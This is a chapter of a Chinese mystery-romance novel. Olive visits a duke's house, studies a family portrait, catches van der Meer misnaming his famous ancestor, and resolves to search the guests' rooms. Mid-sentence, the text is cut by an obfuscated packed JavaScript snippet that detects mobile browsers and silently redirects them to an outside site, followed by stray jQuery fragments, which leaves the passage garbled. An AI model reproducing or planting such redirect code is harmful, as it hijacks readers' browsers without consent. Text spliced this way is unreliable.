15. 肖像人物

作品:《奥丽芙与伯爵大盗

    一两个钟头后,大家把宅邸周围一圈都转过了。这一片所在地势较低,东面不远处有道斜坡,坡上据主人介绍是块平整的草地,修了板球场,另外还有些可看的景色,但时间已经不早,一行人决定返回公馆,到达时,公爵夫人刚刚休息好,便领客人参观屋子。


    这栋房屋是二十年前才建成的,但公爵一家搬来了不少将近一百岁的家具和陈设品,因此奥丽芙看得津津有味。三楼是主人的房间,二楼是为客人准备的卧室,他们主要在一楼参观,这里除了客厅、餐厅、晨间起居室,还有一间图书室。


    或许叫藏书室更为合适。奥丽芙跟父亲去过几位学者的家拜访,没有哪个人的书籍文献有这间屋子里的一半多。各种精美的珍本善本在书架上整齐地排列,羊皮纸的手抄本单独置在小桌子上,上面罩着玻璃罩。


    可能是书籍数目过于庞大,反而吓得人不敢进一步探究,大家赞赏了几句,纷纷转过身,去看另一面墙上挂着的肖像画。


    “这些都是默顿家族的成员,查尔斯,你来给客人们介绍一下吧。”公爵夫人把这个既费嘴皮、又不一定能讨好的“苦差”丢给儿子。


    小默顿毫不犹豫地接受了差事,向众人一一介绍他的曾祖母,他的伯公……而那位画像当时还很年轻、面皮白净、穿着天鹅绒长袍的小姐则是他的姑祖母,于一年多前去世,肖像刚刚取下了黑纱。


    在这副像前,小默顿稍微停了停,这是为了顾及他妹妹,因为正是埃莉诺陪伴姑祖母多年,她对姑祖母的感情无疑很深厚。


    客人们都礼貌地静默了几秒钟,随后,双脚却不由自己地向别处挪去,避免再听小默顿絮叨这些已经作古、谁也不感兴趣的人的生平。要是换个人讲,奥丽芙本来还愿意听听,可是小默顿缺少起伏变化的声调实在让她瞌睡,她也走开两步,自己去看画像了,只有伊迪丝一人走不脱,因为小默顿讲话时,主要是面对着她。


    走到快尽头的地方,有一副最小的画,真正抓住了奥丽芙的眼睛。


    画上是个二十来岁的青年,相貌十分英俊;与其他肖像人物的高傲、阴沉不同,他的模样带有一种清新之态。


    奥丽芙停下脚步,仔细端详。


    最引人注意的要数画中人眉宇间暗含的一股忧伤神情——他的忧郁并不消沉,更像是代表着不满和控诉,但与他的俊美外表和华丽衣着大不相称。画家似乎在表现庄严和表现真实间挣扎了一番,最终还是决定遵从真实,于是,落在画布上的并非一位出身名门的贵族公子,而是一个不得志的诗人。


    转过头时,她看见小默顿和伊迪丝也走来了。


    “他和别人不太像!”一看见画中人,伊迪丝轻声喊叫。


    尽管伊迪丝是不由自主喊出心里话,但奥丽芙认为她还是顾到了礼貌,其实,她言下之意或许是默顿家族其他所有人都比不上这一位。奥丽芙自己也是同样想,并暗暗猜测这个人是谁。画像挂在这么角落的地方,光线不太好,不能从容貌的细微之处辨别他是不是“姑祖母”的小兄弟。


    小默顿似乎没有领会伊迪丝的意思,他朝画像看了看,又向四周茫然、困惑地瞅了瞅,再次把目光投到画上。他可能以为伊迪丝终于对他的家族表示出了热情,脸上红了一片,结结巴巴说:“啊,那是因为画这幅像时,他……这幅肖像是很久之前画的。”


    还没说出画中人究竟是谁,仆人推开绿呢大门,默顿公爵走了进来。


    客人从小默顿口中已得知,按照习惯,公爵白天很少离开自己的书房,往往晚饭时才和家人见面,因此,这时看见公爵出现,大家并不奇怪,也不慌乱。


    接下来便是正式介绍。默顿公爵声音洪亮、笑声爽朗、气度不凡,他先对伊迪丝和凯里小姐讲了几句客气话,然后,听公爵夫人说“布莱克小姐”,他立即礼貌而赞赏地看了看奥丽芙:“我非常荣幸,一下子邀请到伦敦最美的三位姑娘来家里做客。”


    三位先生都和默顿公爵认识,免去了介绍,不过,以前可能只是泛泛见过面,而这次,作为对家里来客的欢迎,默顿公爵格外热情地与每个人寒暄了几句。


    他对三人的态度一致,丝毫没有厚此薄彼。对德·雷斯托子爵说话时,他问候子爵母亲的身体,遗憾她未能同来,并表示,等她能够受得了旅途劳顿时,希望能过来住一段时间。


    对Z伯爵,他说:“久仰令尊大名。若能看到你今日模样,令尊一定感到欣慰。南森女伯爵夸奖你在当代北欧青年中,是最出色的一位,我则回答她:‘不光北欧,整个欧洲亦是如此。’”


    奥丽芙特意瞧了瞧,除了表示自谦,Z伯爵脸上神情没有变化。


    对范德梅尔,默顿公爵说:“我这里有本皮特·范布莱德罗德传记,里面提到了你的先辈,当时,他们同在舰队中。”


    奥丽芙知道默顿公爵所指:十六世纪初,荷兰是西班牙帝国的一部分,威廉·范·奥兰治不满西班牙国王腓力二世的高压政策,联合各省贵族,建军起义,经过“八十年战争”,终于推翻了西班牙的统治。


    独立战争中,莱顿城被西班牙军队围困,起义军在威廉·范·奥兰治领导下,掘开堤坝,引海水淹没陆地,使起义军的舰队能够航行到莱顿城下,赶走西班牙人,解救被困的市民。当时,范德梅尔的祖先马塞尔·范德梅尔伯爵正在一艘舰船上任指挥。


    范德梅尔听见公爵的话,只是笑了笑,没说什么,默顿公爵却向书架走去:“我记得是放在这里。我对德语懂一些,荷兰语几乎完全不会,所以我只能连蒙带猜地看看,但我觉得这本回忆录写得很好,我想将它翻译成英语,或许将来我可以请你帮忙。”


    说着,默顿公爵抽出一本摩洛哥山羊皮的古书,翻开来:“就是它。这本书出版于十七世纪,是皮特·范布莱德罗德的后人根据保存的信件、家庭文件及其它文字内容整理而成,提到你先祖的部分,是在这儿,哦,不,围城战役还在后面,他是叫马……”


    “大概是讲马腾·范德梅尔在围城战役中的那些事吧。”范德梅尔说,口气随随便便。


    默顿公爵一愣:“我记得是马塞尔·范德梅尔,莫非我记岔了?”


    “对,是马塞尔。是我记错了。”范德梅尔漫不经心笑着回答。


    默顿公爵合上书本,郑重地向范德梅尔说:“我对这本书读得不细,如果真是我错了,我向你道歉。”


    奥丽芙知道公爵没错,她倒是奇怪范德梅尔的浑不在意,不由朝他看了几眼。


    这时,管家进来告知公爵夫人晚饭已经准备好,公爵夫人便请客人们回房更衣。


    大家纷纷向外走时,Z伯爵落在后面,凑近奥丽芙,小声问:“到底是谁,小姐,我看出来了,你肯定知道。”不等回答,他又说,“我发现历史学得好就是有这个优势:对别人家的事比他们自己还清楚得多。”说完,他走到前面与别人说话去了。


    奥丽芙看得出,Z伯爵不是想讨论史实,也不是想恭维她,不过是借机讽刺一下范德梅尔罢了。其实,这和历史学


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922038|192595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    习关系不大,她见过很多受过良好教育的人,抛掉书本后,对历史的掌握和不学无术的人差不多。但是,范德梅尔不该犯这个错误。


    并不是记错了时间,有的人甚至会将自己的出生年份说错,也是可以原谅的,可范德梅尔年纪轻轻,脑子够用,却搞不准姓名。马塞尔·范德梅尔是他家族中最闻名于世的一位,后来,为了纪念这段光荣历史,范德梅尔家族将家族纹章中原有的五瓣花图案用一只海锚替换,海锚纹章一直沿用至今,足见整个家族对这位先辈的敬仰,怎么到了范德梅尔这儿,连人家的姓名都不关心?这人简直太吊儿郎当了。


    威克菲尔德的晚膳通常定在五点半开始,待客的日子依然如此。五点半整,六位客人和主人一家共十人在长桌上坐好,默顿公爵先为招待过于简单表示道歉,又为自己没有更多空闲,怠慢了客人道歉。


    他说,本来打算明天上午陪客人在庄园里走走,但刚刚,他接到来自伦敦的一封信。今年十一月,议会将讨论一项法案,他是起草人之一;最近的一些情况,使得发起人想要在预案中进行部分改动,需要召集相关人商讨一下。事情并非十分紧急,但他不愿让别人久等,因此还是决定,明天上午在书房处理几件公文,十点钟就出发前往伦敦。他特意嘱咐小默顿,不用为他送行,一定要陪客人再好好玩上半天。


    年轻人自然对公爵的公务漠不关心,对他是不是在家也不太在意,除非认为没他陪着更好,不过,大家都说了几句客套话。奥丽芙暗自里或许还比别人更高兴:如果宅子里的仆人忙着为公爵出行做准备,就不大可能在二楼客房转悠,她便可以……


    说不清计划是什么时候来到心中,但听完默顿公爵的话,奥丽芙已经决定付诸实施——她要在明天早上,飞快地把子爵和两位伯爵的房间“搜查”一遍。


    这也是没有办法的事。凭借社交场上或有意或无心的对话,能看出他们的性格特点,却很难看透他们的内心。父亲遇害都快四个月了,真凶还无从寻觅,只好走走“捷径”,看他们的私人物品会不会暴露出什么,比如另一件绘有蜜蜂图案的东西……


    正好,公爵夫妇为每个客人都准备了单独的屋子,可能为了客人随时回房间,进出方便,房门并不上锁,只能从内部闩上。而明日上午,伊迪丝肯定会选择户外活动,男士们肯定都会跟着去,假如仆人不在二楼收拾,便意味着,有相当一段时间,那几间屋子空无一人。——奥丽芙打算明天上午先和他们一起外出,再找个借口回来。


    当然,她心里知道,真能找到关键证据的希望很渺茫,只是碰碰运气,但无论如何,碰运气的机会可能也只此一次。几个人聚在一处,能够进入他们的房间——这样的“天时地利”很难再有第二回,不容错过。


    飞速打定主意,奥丽芙便不再多想了,专心听桌上闲聊。


    这顿晚餐和颇具乡村风味的午餐相比,显得较为平常,但餐桌上的气氛与奥丽芙设想中的平淡拘谨大为不同——尽管在图书室的会面已部分纠正了她对默顿公爵的认识,但公爵比她想象中还要健谈、风趣得多。


    他说起把书籍、家具等物品从约克郡由火车运来,打包装箱所费的工夫和一路照看的辛劳,叹口气道:“终究还是值得的,因为都是宝贵的纪念品。特别是那些肖像画,一幅都没丢。——我留意到,刚才你们已经看过了画像,我打断你们时,你们好像正在谈论一个人,就是那位相貌很英俊的年轻人。”


    饭桌另一头,公爵夫人咳嗽了一声。